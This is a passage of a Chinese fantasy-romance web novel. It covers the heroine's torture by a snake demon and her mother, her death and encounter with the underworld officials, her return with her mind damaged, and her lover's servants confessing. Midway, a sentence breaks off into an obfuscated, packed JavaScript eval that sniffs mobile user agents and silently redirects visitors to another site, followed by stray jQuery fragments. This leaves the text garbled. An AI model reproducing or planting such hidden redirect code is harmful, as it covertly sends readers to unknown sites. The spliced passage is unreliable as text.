蛇妖愤怒地在我头顶狂吼:
“你这个疯子!嘴还真是硬!你知不知道,他的那两个手下就在对面山头盯着你,你被折磨成这样,他们也毫无出手相救的意思。
宋鸾镜,你真是蠢得可以啊!即便他这样心狠待你,你也依旧不死心,你真是、活该被抛弃!”
我低垂着脑袋,吊着一口气,腕上的血,流得极慢:“我不知道他、在哪……别问我了。”
蛇妖听完,愤恨甩袖离去。
而她走后不久……
我隐约,又听见了两道陌生男人声音——
“都被伤成这样了还不肯透露帝君的踪迹,难不成,真是我们冤枉了她?”
“屁,她是害怕我们在她开口前,先一步要了她的小命!”
“不成,她中了蛇妖的幻术,又被我下了七日陨,现在还失血过多,我得把蛊取出来,不然、我怕她撑不到帝君出关之日!”
“慢着!她、没那么脆弱,一时半会死不了,让灵蛊在她体内多留两日……左右也不差这两日!两天而已,她死不了。”
“仇惑!她现在没了神光保护,体质和凡人差不多!你这样,会把她折磨死的!”
“哎呀你相信我,我办事有分寸,再让她受两天罪!不然,我总觉得帝君在她身上吃亏了。”
“仇惑……”
“好了白术,我们走吧!她好歹是月阴村族长的女儿,她母亲不会真要她的命。”
——
浑浑噩噩不知昏睡了多久,再苏醒,我妈正在查看我腕上的伤势——
“才两天,怎么虚弱成这样了……不该啊。”
“难道,是蛇妖下手太重了?”
我瞥见她,头晕地想吐,别过目光,木讷呢喃:“别问我了,我不知道……”
她重重叹了口气,从地上的食盒里拿出一碗鸡汤。
舀了一勺汤水,送到我唇边。
我不肯喝,她就强行用铁勺撬开我的牙齿,我没有力气反抗,只能任她用勺子压住我的舌头,把鸡汤一勺一勺灌进我嘴里。
苦涩在舌上晕染开。
她沉声训斥:“从小到大都嘴硬!性子也执拗!让你服个软,怎么就那么难!”
“月阴村好不容易才和灰狐仙达成交易,两不相犯,现在又冒出个青龙仙,新势力已经破坏了原本旧势力与月阴村之间的平衡。
青龙仙的力量太强大,有他在月阴村,势必会步步掣肘我们的节奏,鸾镜,别怪妈心狠,为了月阴村的未来,妈只能和蛇妖联手,除了他这个隐患。”
“喝了汤,你的身体会好些……再撑一日,撑到他来找你。等他出现,一切就结束了。”
今天的汤,好苦……
最后一勺汤喂进我嘴里,妈拿帕子给我擦了擦嘴角,还要叮嘱:“鸾镜你……”
奈何没等她说完,我就痛苦皱眉,一大口滚烫鲜血涌上喉头,喷了她满脸——
双手无力垂下,我顿时失了全身力气,解脱的快感在体内迅速扩散开——
脑袋一歪,沉沉合上双眼。
“鸾镜!鸾镜——”
“怎么……没有气息了……”
“鸾镜啊……”
后来,好像起了风,树叶被卷得沙沙作响——
一声龙啸震破天穹,捆在我身上的铁链也陡然松开。
身体砸进了一个清凉踏实的怀抱。
有人颤抖抬手,温柔抚摸我的容颜,哀伤轻唤:“阿鸾……”
第32章 她的死因,有点复杂
“阿鸾,你看看本尊,本尊、我是青漓……”
“镜镜——都怪你!你为什么不来救镜镜!你不是龙仙老爷么,你不是法力无边吗?为什么,你连镜镜都保护不了!
你不是深爱骨仙吗?那为什么别人几句谎话,就把你骗到了!你知不知道我和爸怀疑你的时候,是镜镜坚定不移地给你证明清白!
哪怕那么多有力的证据指向你,哪怕所有人都说你是**的妖物,镜镜也不停地告诉我,你不是妖,你不会平白无故地**。
哪怕,真是你吃的人,镜镜也会给你找理由,她也不认为,你是妖性未除的恶龙。
你知不知道,先前镜镜问我……陈家湾村死的那些人,是不是十恶不赦的坏人,你吃他们,是不是在替天行道……
她根本,从未想过,你会做坏事,你会无缘无故伤人……她那么信你,你凭什么,连个解释的机会都不给她!”
“杏子,你说错了,小鸾镜解释过,是他不肯相信。青漓大人,你可知,那晚你能逃出淑贞布下的天罗地网,其实是因为小鸾镜设法破了九黎族众人的巫术,这才顺利送你离开。
小鸾镜,去找过你,她用自己的心头血封印了她母亲族长权杖的神力,她自己也受了重伤,可她还是最担心你,她辛苦爬上九黎山去找你,但换来的,却是你的谴责与闭门不见……
你以为她不信任你,以为她想让你死,那就由你自己的人,来向你解释你不在她身边那几天,家里都发生了什么事吧!
大力大武是你用法力化出的纸人,他们只忠心你,不会对你撒谎。”
“原来、是在幻境里……认错了人。她没想杀本尊……月阴村的人,都该死,白术仇惑,杀光他们!”
“帝君……属下遵令。”
“青龙仙你够了!你还以为镜镜的死,只是月阴村的村民们导致的吗?!”
“你知道,这四天她是怎么熬过来的吗。既要承受蛊虫的伤害,又要被蛇妖的幻术折磨,还被亲生母亲放干了一身血……万念俱灭,才会心死暴毙。”
“万念俱灭、心死暴毙,蛊虫……七日陨……这是用来对付妖物的灵蛊……白术!”
“帝君、恕罪,属下等也不知道实情,属下以为……”
“阿鸾,是本尊、害了你……”
“青龙仙,你不能对月阴村动手!你不是想要鸾镜活过来吗!
放过月阴村,我把九黎族的圣物送给你,帮鸾镜恢复生机——
鸾镜是我的亲生女儿、我可以召集九黎族众人,设法、用我这个当母亲的血,为鸾镜引魂……”
“镜镜,你快回来啊——九天了,再不回来,阴阳路就要消失了!”
“阿鸾,我回来了,我错了,我再也不怀疑你了……阿鸾,别弃我而去、求求你……”
“鸾镜,听妈的话,回阳间来,鸾镜——”
下来这几天,我耳边时常会响起银杏青漓还有母亲的声音。
她们每呼唤我一次,我的心、都会狠狠颤上一回。
但我知道,那是幻听……
银杏被母亲关起来了,青漓还在山里闭关养伤,母亲……更不会呼唤我。
月阴村除了李大叔与银杏,每一个人,都巴不得我快些**。
他们才不会闲得发慌在上头念叨我呢。
我的脑子啊,肯定是被那条死蛇妖给折腾坏了,脑神经出问题了。
和我一起下来的软糯小女娃此刻正坐在大槐树下编花环,见我低垂着脑袋拽槐花,便好奇趴进我怀里歪头问:
“鸾镜姐姐,前几天是你的头七,头七夜你是可以回去的,和咱们一道下来的魂魄都已经回家见过亲人又下来去判官殿报到了……你为什么不回家啊?”
我心情沉重地叹口气:“我、没有家……”
“啊?你爸爸妈妈呢?”七八岁大的小女娃眨巴着水灵灵的大眼睛好奇追问。
我轻轻抚摸她的小脑袋,惆怅道:“我爸,早就**。我妈还健在。”
“那你为什么不回去看妈妈?”
我缩了缩脑袋,窝囊道:“她老人家并不想看见我,我怕我回去,被她一掌拍散魂魄。”
小女孩从我怀里爬起来,义愤填膺地皱起小眉头,伸出一双肉乎乎的小爪子捧住我的脸,用力揉了揉,似是想通过这种方式安慰我:“啊?哪有妈妈不爱自己的女儿?你是亲生的吗?”
我委屈嘟囔:“我当然是亲生的……”
小女孩爬进我怀里,歪头靠在我肩上,接着问:“那你也没有朋友吗?头七回魂,可以顺道去看朋友的。”
我抱住小女孩,坐在地上,靠着老槐树叹气:
“算了吧……我的好朋友胆小又爱哭,我如果上去找她,吓着她事小,我最怕,她看见我就伤心,搂着我哭个没完没了。”
“那鸾镜姐姐你有男朋友吗?”
“男朋友……”我恍惚了一下,又摇头:“他、我找不到的……他不想见我,我这么弱,也无法靠近他。”
“鸾镜姐姐你也太惨了吧,妈妈不爱,又被男朋友抛弃。”
小女孩搂着我的脖子,吧唧往我脸上亲了口,乖巧可爱道:
“没关系,以后有皎皎心疼鸾镜姐姐!鸾镜姐姐,你头七夜没回去,暂时进不了判官殿,要不然你别走了吧,留在这里,以后皎皎罩着鸾镜姐姐!”
“留在这里?”我迷茫看了眼阴沉沉的天,“可以吗?我听说,人死后都要过奈何桥,重新投胎……对了,皎皎,你是怎么下来的?你头七夜怎么也没回去?”
小女娃鼓腮卖萌:“嗯?我还没玩够呢,不想回去。而且我是来找我爸的!”
“你爸……也**?”
我惊讶不已,看着小娃娃稚嫩天真的可爱脸庞,心里愈发不是滋味:
“你还这么小,你爸就已经……你爸、也算是英年早逝……我们俩可真是太有缘分了,我爸也在我还没出生之前就出意外身亡了。”
“哇?我爸**?啥时候的事!”小女孩惊坐起身。
我摸摸小丫头的脑袋,更加心疼了。
哎,这孩子终归还是太小,至今还接受不了自己父亲已经过世的事实……
我不忍心再戳孩子的痛处,小声与她研究:
“下面规定每个魂魄头七都要回家吗?不回家就进不了正常的轮回程序?我们什么时候可以去投胎啊……”
小女娃想了想,从我怀里爬出去,拽着我的手拉我起身:
“这几天我已经带姐姐把地府好玩的地方都给玩了一遍,现在皎皎累了,肚子也好饿,走,皎皎带你去找地方蹭饭!”
“蹭饭啊?去哪里蹭……”
等等!这孩子刚才说什么?
蹭饭?!
我被小娃娃一路风风火火拽去了一处、庄严巍峨的、宫殿?
处于游魂状态这几天,我脑子不太好,眼神也总发模糊……
尤其是皎皎拽着我跑路的时候,我根本看不清两侧的景物建筑。
只能隐约瞧见一个大致的黑影轮廓。
小孩子的腿脚就是快,精力就是充沛……
不过,我怎么感觉,身边鬼差越来越多了呢?
四下阴寒之气也越来越重。
这几日着实奇怪了些,下面,好像和我想象中的世界不大一样。
比如,我幻想的阴间,魂魄踏上黄泉路,就要被鬼差用锁链押着进鬼门关,走轮回流程。
灵魂是不能在阴间随便游荡的。
可我那天,刚从上面下来就遇见了小皎皎,我俩结伴而行,旁的魂魄都是由鬼差用铁链锁着,唯独咱俩,一路轻松前行。
路上的鬼差甚至连声招呼都没和咱俩打。
这几天小皎皎带我到处玩,也不见有阴间的公务员抓我们……
灵魂在下面的自由度那么高吗?
等皎皎带我停下来时,我已经被皎皎扯得头昏脑涨,两眼发黑了。
“黑爷,这是这个季度的财务报表。”
“白爷,这是冥殿刚下发的黑头文件。”
“过几天老板要带咱们去团建,让咱们自己挑地方,今年咱们不如走远点,去恶犬岭露营吃烧烤!”
“好想法啊!还能带那些可爱的小狗狗一起啃骨头!”
“可爱?你忘记三十年前,就是那群可爱的小狗狗往你屁股上咬了一口,害你疼得半个月没下床了?”
“那还不是你犯贱,总用骨头引诱人家,又不给人家……害我差点被它们当骨头啃了!”
耳边是不同陌生男人的声音,小皎皎松开我的手,扑向大殿里背对着我们低声攀谈的两道身影——
“黑叔白叔——”
黑叔白叔?我神魂一震,惶恐抬头……
不会是黑白无常吧!
而等我看清那两魂身上的工作服颜色后——我整个魂都瞬间石化在了原地!
这十分有辨识度的特色工作服——一黑一白两身宽袖大袍,还有那眼熟传统的古典高帽子……
这形象,不是黑白无常,还能是谁!
我没骨气地悄悄往后挪……想跑。
虽然我想投胎,但,撞到这两位跟前,我怕是得魂飞魄散!
这两位可是有名的管杀不管埋,只管勾魂不管送人啊!
不过,让我更加意外的是……
我在下面捡的小妹妹,好像和他们挺熟。
两无常爷低头看见小皎皎,顿时笑逐颜开地争着去抱小娃娃——
“皎皎,你回来啦!来,黑叔抱!”
“滚,上次就是你抱的,这次该我了!”
“行行行给你抱,小白你也就这点出息了……”
我后退的步子停住,咕咚咽了口口水。
小皎皎……和他们是老熟人?
关系户?
那我是不是可以……趁机求他们放我去投胎了?!
小皎皎软糯可爱地蹭了蹭白无常脸颊,在白无常怀里笑得开心。
白无常揣着小娃娃询问道:“不是九天前就下来了吗?这九天和谁一起玩呢?现在才来找黑叔白叔。”
小娃娃欢喜地伸手往我身上一指:
“和鸾镜姐姐一起玩呢!白叔,我带鸾镜姐姐出去玩,害鸾镜姐姐错过了进判官殿的时辰,现在没**回了。
白叔你能不能送鸾镜姐姐走快速通道,让她能顺利进入轮回?
白叔,鸾镜姐姐人可好了,但是命不好,下辈子你能不能给她挑一个大富大贵的好人家投胎呀?”
呜呜呜,果然衙门有人好办事啊!
乖皎皎,姐这几天没白疼你!
白无常听完嘶了声:“鸾镜……这个名字、怎么听着,略有几分耳熟?”
黑无常顺着小皎皎手指的方向看过来,目光定格在我身上的那瞬间……猛地一颤!
“哎呦我的妈!西西西、西……”
白无常皱眉:“你抽筋啊?对着人家嘻嘻个啥……”转头也望向我……
而这次,他的反应更夸张——
差点没搂住怀里的小皎皎,猛地惊喊:“娘嘞!谁把这活祖宗给送下来了!”
我:“……”
我,不该,下来吗?
两无常后来精神失常地绕着我打量了好几圈,又疯狂喊鬼差调来生死薄,着急翻了好一会,盯着上面的记录陷入沉思……
再后来,他们把自家领导都给摇来了。
我也是那会子才知道,皎皎竟然、不是人!
不对,应该是……皎皎她爸,竟然是下面的大领导!
皎皎她爸迈进无常殿,甫一见到我,那张帅气的俊脸阴沉得都快滴出水了——
“你怎么下来了?”他来到我面前,黑着脸问我。
语气冷淡,仿佛在问一个多年未见的老熟人。
我如实回答:“我**呗。”
他沉声又问:“**的?”
我答:“不知道,可能是饿死的,也可能是渴死的,还可能是失血过多,还可能是心脏病**……”
他皱眉:“死因这么复杂?”
我猛吞口水:“昂……”
他无奈揉眉心:“小黑小白,查查**的!”
黑白无常相视一眼,欲哭无泪。
“就是、失血过多……”
“加上中了七日陨蛊毒。”
“加上中了蛇毒。”
“加上太饿。”
“太渴……”
“食物**……”
“然后暴毙了。”
某领导诧异抬起清冷深眸:“???”
白无常耸肩:“死因确实挺复杂的哈……”
我丢人的冲大领导傻笑笑,“那个、不好意思啊,给你们添麻烦了……”
大领导重重一叹,冷漠下令:“看她的样子,尸身未毁,立刻送回去!”
“啊等等!”我疾声打断大领导,扭头不解地问白无常:“我啥时候食物**了?”
白无常尴尬摊手:“你临死前,你妈给你喂的那碗鸡汤里,有两种药物相冲,产生了毒性……这不,把本就虚弱的你给冲**。”
我:“???”
大老板拧眉深深看了我一眼,不耐烦抬手:“送走。”
“等等!”我再次出声,大老板压着怒意嫌弃问道:“你又怎么了!”
我低头,想起阳间那些往事,心底阵阵酸涩:“我、不想回去了。”
“你必须回去。”
“回去,有什么意义呢?”我眼眶发烫,垂头苦笑:“我的爱人不信我,我的母亲不喜欢我,我的族人厌恶我,我的姐姐想杀我……我已经众叛亲离了,死亡于我而言,是解脱。”
大老板闻言一怔,意外道:“你,竟然已经丧失了求生欲。这一世,有这么苦吗?”
我伤心地深呼一口气,抬手擦眼泪:“是很苦,我以为、
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505144|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我身边终于有人相伴,有人愿意关心我,在乎我了……可到头来,我还是一无所有。”
“你的母亲,还有爱人,都在等你回去。”
“他们才不会呢……他们根本不在意我的生死。”
“可这九日,他们一直在试图联系你……是你自己,不肯回去。”
我抹着眼泪别过头:“都是假的,他们才不会找我。”
“他们为你,打开了阴阳路,今天,是最后一日,再不回去,你就没机会了。”
“他们从来就没有给过我机会。”
“鸾镜,你、坚强些。”
我抬手摸着至今还隐隐犯痛的心口,昂头泪眼模糊地问他:
“你看看我的心脏……是不是已经被蛊虫啃噬空了?
我难道,还不够坚强吗?你知道那四天,我都是怎么扛过来的吗?
我怕疼,怕被蛊虫啃噬心脏,怕被蛇妖乱了神智,怕一不小心透露了青漓的踪迹,害死青漓,怕被人割破手腕,放干全身的血!
我这样的人,活着只会给在意的人带来麻烦,只会惹亲近的人厌恶烦心,还不如,不回去了……
轮回也好,散了也罢,怎样处置我都成。”
“你这一劫,源于他对你的不信任……这世间酸苦,你如今,可体验够了。”
他说完,我耳边又响起了青漓的悲恸祈求声——
“阿鸾,我认错……回来好不好?阿鸾……别不要我……”
“我不该、不信你……我该怎样做,你才能原谅我?”
“我等了你三百年,可我如今却亲手弄丢了你……”
“阿鸾,回来吧,只要你回来,要我做什么,我都答应。”
“阿鸾,你若执意不肯回来,我给你陪葬……好不好?”
那声音里,携着从未有过的疲倦哀伤,能听出来,他这九天也身处煎熬痛苦之中……
可,都是假的!
我捂住沉重疼痛的脑袋,闭紧双眼疯狂否认:
“假的!他根本不会再回来找我!他恨我!都是幻听……他早就不要我了,更不会喊我回去……假的!”
大老板见我情绪不对,赶忙一把抓住我的手腕凝声提醒我:
“你现在已经是灵魂状态了,你听见的声音,都是真的!鸾镜,稳住心神!你已经被蛇妖损了神智,再这样逼自己,你会疯的!”
“没有人相信我,没有人会喊我回家,我没有家……长烬,我好痛苦,我什么都没有了!我好疼,我不知道,我什么都记不起来了……我、好难受!”
我控制不住地胡思乱想,脑子里乱糟糟的,无数场熟悉的画面似被强行打乱顺序,在我脑海里破碎重组,却又无法对接连贯……
头疼得仿若下一刹就要裂开了,我抱着脑袋嘶声痛叫,恨不得找把刀捅进心脏,让自己魂飞魄散——
“鸾镜!”
“老板她、她她她怎么了?”
“这也伤得太严重了吧,连处于灵魂状态都能痛成这样……”
“镜镜,子时就要到了,快回来啊!镜镜,我是银杏啊!
我知道你一定能听见,龙仙老爷回来了,他知道自己冤枉你了。
他很自责,现在要把自己的一半修为渡给你……
爸说,他身上本就有旧伤,要是强行渡一半修为给你,他可能会走火入魔。
走火入魔你知道什么意思吗?就是会、会死!爆体而亡!”
“鸾镜,我是你李叔,我知道你心里难受,对龙仙很失望,可你们……都没有错,错的是蛇妖,是那些颠倒是非的人!
鸾镜,回来吧,这几天龙仙偷偷放血喂你,耗损修为给你护住肉身,你的三魂七魄回来了两魂七魄,只余一魂,坠入阴曹死活不肯回家。
为了给你引回这一魂,龙仙已经九天九夜没合眼了,你的续命灯,都是他用自己的阳寿为代价点燃的。
鸾镜,我们都牵挂着你,你一定要回来。再不回来,龙仙就要把自己折腾**!”
“鸾镜,我是母亲……我已经和龙仙签订了协议,以后,我不会再自作主张想要他的命了,龙仙依旧是我们月阴村的守护神,月阴村任何人,都不会再为难你。”
“子时至……续命灯灭了!”
“小鸾镜到底是不肯回来,还是无法回来……”
“龙仙大人不可!强行重开阴阳道,你会被天谴反噬的!”
“阿鸾……阴阳道就在你眼前,你一日不回来,我就开它一日,一年不回来,我就开一年。阿鸾,只要你想回家……我都等着你。”
他的声音,听起来好虚弱……
是受伤了吗?
我再睁眼,面前突然多出一条金光铺就的长道——
有人在身后沉声告诉我:“这就是青漓接你回家的路,是去是留,你自己选择。”
青漓接我回家的路?
脑子里,突然清醒了一些。
青漓、阿漓……
魂体不受控地抬脚踩上阴阳道,一步一步,朝长路尽头走去——
阿漓是谁?
青龙仙……
哦对,阿漓是青龙仙。
他在唤我回家。
他没有不要我。
他来找我了……
“阿漓……”
脚下步子逐渐加快,我忽然跑起来,拼命朝金光尽处冲去——
魂魄重重撞进了一副身躯。
我猛地一口气喘上来,如释重负地恢复正常呼吸。
“阿鸾!”有人抱着我,激动呼唤。
我睁开沉重眼皮,朦胧视线渐清晰……
眨了眨干涩的眼睛,我瞧着眼前那名容颜俊美、眼眶泛红、眼角还挂着一滴晶莹泪水的银发男子……木讷伸手,替他拂去眼尾那滴泪珠。
“阿鸾。”他用力将我按在怀里,阖目喜极而泣,颤声唤我。
头顶还有道年轻女孩的声音欢喜叫道:“回来了,阿鸾终于回来了!”
中年男子长松了口气:“回来就好。”
我抬起僵硬的胳膊,伸手,动作迟钝地捞了他肩头一缕银发,一字一顿的问道:
“你、的、头发……怎么白了?你、老了?”
抱着我的俊美男人背上狠狠一震。
下一秒,惊慌失措地昂头深深凝望我,沙哑嗓音颤得更厉害了:
“阿鸾,你怎么了?你、不认识我了么?我是青漓……”
我胆怯地缩回手,扭头环顾四周,终于找到了一张熟悉面孔……
从男人怀里爬出来,我乖乖回到母亲身边,扯了扯母亲的袖子,害怕道:“妈,我、不舒服……妈,他们、都是谁啊?”
“阿鸾……”青衣银发的俊美男人情绪激动地还要来拉扯我,却被妈身边的中年大叔给无奈挡了下。
中年大叔神色凝重道:
“她被蛇妖伤了神智,现在可能、智力受损……形同痴儿,认不出咱们了。”
第33章 没有背叛他
午后,我趴在东院的紫藤花架下打瞌睡。
陌生的银发神仙哥哥安静守在我身边,拿着桃木梳温柔给我梳头发……
青眸攀满血丝,闷咳两声,唇角殷红。
正对面,一青一白两道男人身影正卑微半跪在地,低头怯怯向他请罪:“帝君,属下等不知实情,以为是鸾镜仙子算计谋害您……才对鸾镜仙子狠下杀手。”
“属下有罪,还请帝君重罚!”
“属下已查清,那夜帝君虽震碎了红蛇的肉身,但红蛇的一滴血溅进了鸾镜仙子的眼眸中,藏在鸾镜仙子的眼睛里,这才令鸾镜仙子屡次出现幻觉……”
“红蛇前几年靠吸食凡人魂魄修炼成了分魂大法,可在自己肉身被毁,魂魄被震散后,分出一缕元神分身……附在她人身上,且,不易被周围灵物察觉。”
“红蛇就附在假骨仙宋花枝身上,据宋花枝交代,当初红蛇找到她,说能助她得到想要的一切,还能帮她杀掉与她争圣女之位的张彩虹与李银杏,宋花枝为了利用蛇妖的力量除掉自己的竞争对手,就同意了蛇妖藏进自己的躯壳。”
“蛇妖还帮她吞噬了张彩虹的魂魄,原本蛇妖是准备再帮她杀掉李银杏的,可李银杏身上,也有护体神光……李银杏的魂,甚至还出手打伤了蛇妖,蛇妖这才被迫放弃吞噬李银杏的精魂。”
“不久后,宋淑贞也发现有东西藏在宋花枝身上,一番审问,才得知蛇妖的事。蛇妖索性现身,和宋淑贞做起交易……”
“此前帝君并不敢将鸾镜仙子就是骨仙的消息散布出去,对外依旧认可宋花枝的骨仙身份,就是害怕这附近的妖孽对鸾镜仙子起歹念。
而宋淑贞也为了让亲生女儿不被陷入众矢之的,不被月阴村的村民们指责反噬,与帝君达成共识,一同对外隐瞒了鸾镜仙子的真实身份。
可这次,宋淑贞为了对付帝君,不惜用鸾镜仙子的真实身份来向蛇妖证明自己求合作的诚心。”
“是宋淑贞告诉蛇妖,鸾镜仙子才是骨仙,还答应蛇妖,等她们联手铲除帝君后……就把鸾镜仙子送给蛇妖享用,许蛇妖吞噬鸾镜仙子的神魂。”
“宋淑贞与蛇妖确认合作后,便合谋误导鸾镜仙子,一个用幻术,一个拿亲情欺骗,引鸾镜仙子怀疑帝君与……宋花枝有染。”
“一开始……鸾镜仙子身上有神光护体,蛇妖的幻术虽强,但却不能损伤鸾镜仙子的脑神经。蛇妖让鸾镜仙子多次看见帝君与宋花枝、颠鸾倒凤的幻象,鸾镜仙子都因太相信帝君……而强行挣脱出来了。”
“蛇妖还让鸾镜仙子看见帝君吃人的幻象,鸾镜仙子刚进入幻境时,以为幻境里的帝君是真的,便,苦苦哀求帝君不要杀人。
期间,蛇妖还不断蛊惑鸾镜仙子,让她,杀了您……鸾镜仙子都拼命反抗,压制住了蛇妖的力量。”
“蛇妖给了鸾镜仙子两个选择,要么杀了您,要么自杀,这样才能结束那场惨剧——鸾镜仙子为了阻止您继续杀人,选择、自杀。但、却在最后关头,认出幻境里的青龙,不是您……”
“她杀青龙,是因为她恨青龙冒充您,让您平白蒙受不白之冤。鸾镜仙子说的那句……您杀人,就该死,其实是对幻境中的假青龙说的,而且,鸾镜仙子后面还有一句——冒充青漓,更该死。”
“我们都误会鸾镜仙子了,是蛇妖在最后那一刻用了幻境现实的重叠法术,这才令鸾镜仙子失手一刀捅进您的心脏。”
银发神仙哥哥帮我梳头的手一颤,嗓音冰冷到极致——
“继续。”
青蛇抱拳惶恐道:
“鸾镜仙子身上的灵符、是宋淑贞趁仙子不备,一掌打上去的……宋淑贞逼鸾镜仙子用符降您,鸾镜仙子死活不肯,还挨了宋淑贞一掌。
帝君出事次日,鸾镜仙子找到了红云洞,是属下、拦住了仙子,还、不分青红皂白,冲动打碎了仙子的护体金光。
仙子没有护体神光保护元神,又受了蛇妖三天的幻术摧残……这才,伤到了脑子,变成了痴儿……”
白蛇亦是颤颤说:“还有属下,是属下给仙子下的七日陨。”
“宋淑贞最后给仙子喂的那碗鸡汤,被宋花枝多添了一味药材……”
“鸾镜仙子是本就身上有重伤,失血过多,又被宋淑贞放了血,被蛇妖用幻术折磨,被属下喂七日陨、中了毒……多重伤害,才承受不住,暴毙而亡……”
“帝君,请帝君……赐死我等!”
神仙哥哥给我梳头发的动作很温柔,可我却能听见,他的喘息声是颤抖的——
片刻,木梳啪一声,在他手里折成两段。
他青眸深深,眼角潮湿的正要发怒……我打了个哈欠昂起头,慵懒撑起脊背。
“你什么时候放我去找姐姐玩啊?”我揉揉眼睛问他,说话总算不卡顿了。
他握住我的手,掌心冰凉,让我很不舒服。
“阿鸾,想去找宋花枝?”他蹙眉,目露不悦:“同她玩什么,本尊让人去找银杏,她是你的好朋友,你和她在一起,本尊放心些。”
我努嘴不乐意:“不要,我才刚和银杏玩过,我要找姐姐玩儿。”
“阿鸾,你听话……”他摸摸我的脑袋,耐心劝我:“你忘记了么,宋花枝以前,总欺负你。”
我失落地低头想想:“那我去找赵二哥玩!”
他顿时眸底一寒,一臂圈住我,把我提放在腿上,既生气又委屈地轻声拒绝:“阿鸾,他更不能和你一起玩,他是坏人!”
我趴在他肩上反抗:“才不是呢,赵二哥对我最好了,他是好人。你不让我去找谢二哥玩,也不许我去找姐姐……我好闷,想吃妈做的包子。”
他抱着我,深叹了口气,随后无奈吩咐青蛇白蛇:“把宋花枝、绑过来!”
白蛇:“……”
两三分钟后,姐姐被白蛇哥哥带来了东院……
就是不知道她在玩什么游戏,手腕上缠着好漂亮的花藤。
我从神仙哥哥的怀里跳下去,扑向姐姐,抱住她开心蹭蹭:“姐姐!你在玩什么,我也要玩!”
姐姐疯狂仰脖子别过头,姿势扭曲地翻着白眼,咬牙凶狠吼我:“宋鸾镜,你滚……”
白蛇哥哥的手里突然出现一条可爱的小白蛇,小白蛇探头往姐姐肩上凑了凑,乖巧地丝丝吐着蛇信子……
“宋花枝,你若是敢乱说话,我就让这条千年小蛇王给你点颜色瞧瞧。”
姐姐哽了哽,下一秒,立马热情地和我拥抱,开心和我说话:“哎呀镜镜,玩什么,姐姐陪你啊!”
“玩什么……”我想了下,低头看见姐姐腕上的花藤,指着花藤向姐姐讨要:“你什么时候编的花镯子,我也要。”
姐姐闻言咬紧后槽牙,剜了旁边的白蛇哥哥一眼,语气很怪地回答我:“还不是这个、不是人的玩意儿给我捆上的!你想要,找他啊!”
我哦了声,又关心问姐姐:“姐姐你牙疼吗?”
姐姐只一个劲翻白眼,撇了撇嘴:“嗯!”
我扭头一本正经地和白蛇哥哥说:“你给她治治。”
白蛇哥哥一僵:“啊?”
我努力向他表达:“我睡觉的时候,听见你一直在拍自己的脸……青蛇哥哥说,你们牙疼,拍拍就不疼了。”
半跪在地的青蛇顿时双膝撞地。
眼皮子跳了跳,坚定告诉我:“啊对!白术,你……拍她!”
白蛇哥哥犹豫了会儿……举起右手。
可能在酝酿怎么治。
姐姐见状两眼瞪的像铜铃——
转身就要跑。
“疯子!你们这群疯子!”
我赶紧拉住姐姐胳膊,拖着姐姐死活不让她走:“姐姐,治治就不疼了。”
“宋鸾镜!你脑子有病!”
我连连点头:“好的好的,等会儿让白蛇哥哥也给我治治。”
姐姐开心大叫:“我日、你大爷!宋鸾镜,你别犯贱,别以为你傻了我就不敢对你怎么样,我……”
姐姐话还没说完,白蛇哥哥就一巴掌拍在了姐姐脸上——
姐姐兴奋尖叫一声:“啊——”
白蛇哥哥扭头告诉我:“别怕,我刚才只是轻轻拍了下。”
我呆呆点头,“哦……就是声音有点大。”
白蛇哥哥反手又一掌拍在姐姐另半张脸上——
姐姐叫得更大声了。
我好奇歪头看姐姐,白蛇哥哥认真腾出空告诉我:“没事,叫得越大证明她越爽!”
“哦……还可以这样。”
姐姐爽到身子发抖,连忙摆手祈求:“不、不疼了,我牙不疼了!镜镜你快让这神经病停下来啊!”
我刚要喊白蛇哥哥,白蛇哥哥就又一掌拍了上去,拍完甩甩手,淡定道:“神经病也是为你好!你不是牙疼么,我今天给你根治了!”
姐姐捂着红润的小脸蛋,跌坐在地,高兴地哭起来:
“呜呜,我不玩了!你们、你们就是一群疯子!宋鸾镜,你这个智障,你给我等着!我回头告诉妈,让妈打死你!”
我不太明白,姐姐明明都喜极而泣了,为什么还要让妈打死我……
只是,提到让妈打死我的字眼,我还是本能地发怵,懦懦往白蛇哥哥身后躲:“白哥哥……”
白蛇哥哥拍拍我的肩膀安慰我:“不会的,有你神仙哥哥在,你妈不敢打你。”
我昂头,老实巴交地望着他:“那你也给我拍拍脑子,姐姐说我脑子有病。”
白蛇哥哥呛了声,随后,轻轻在我脑门上拍了两下:“好了,现在治好了。”
还真是……没什么感觉。
“拍得很舒服啊,怪不得姐姐会爽得大叫,可是白蛇哥哥你为什么拍姐姐三下,拍我两下?你再拍我一下呗。”我礼貌请求。
白蛇哥哥冷静道:“她比你病得重,所以得多来几下。”
“这样啊。”我拉住姐姐的手,小声和她讲道理:“姐姐,有病就得治!”
姐姐瞪大双眼,疯狂大喊:“啊——有病的是你!宋鸾镜,你脑子坏了真是报应啊!”
白蛇哥哥忽伸手掐住姐姐的脖子,姐姐顿时没了声音。
“阿鸾,你去旁边找神仙哥哥玩,你姐姐脖子痛,白蛇哥哥给她捏捏。”白蛇哥哥轻轻道。
我哦了声,乖乖松开姐姐的袖子:“姐姐病真多……”
姐姐:“你、妈——”
但是临走,我突然瞄见白蛇哥哥肩膀上的那条小蛇……
好可爱!
我回到青衣银发的神仙哥哥身边,他抬手抚了抚我的背:“阿鸾,冷不冷?”
我摇摇头,然后默默拿起小白蛇,张嘴就咬!
好可爱,好想啃一口……
“阿鸾!”神仙哥哥及时拽走我手里的小白蛇,我没来得及收牙,一口咬在了他的手背上。
他沉声闷哼,怕吓到我,所以温声引导我:“阿鸾乖,张嘴……本尊的手,不好吃。”
我反应迟钝的这才松口。
他将小白蛇扔回地上,小白蛇甫一落地就疯狂蠕动身躯逃得贼快。
“我就是、想尝尝,蛇肉是什么味的……”我心虚嘀咕。
他重重叹了口气,从后抱住我,心疼道:“晚上……给你尝。”
“也行吧。”我颔首答应。
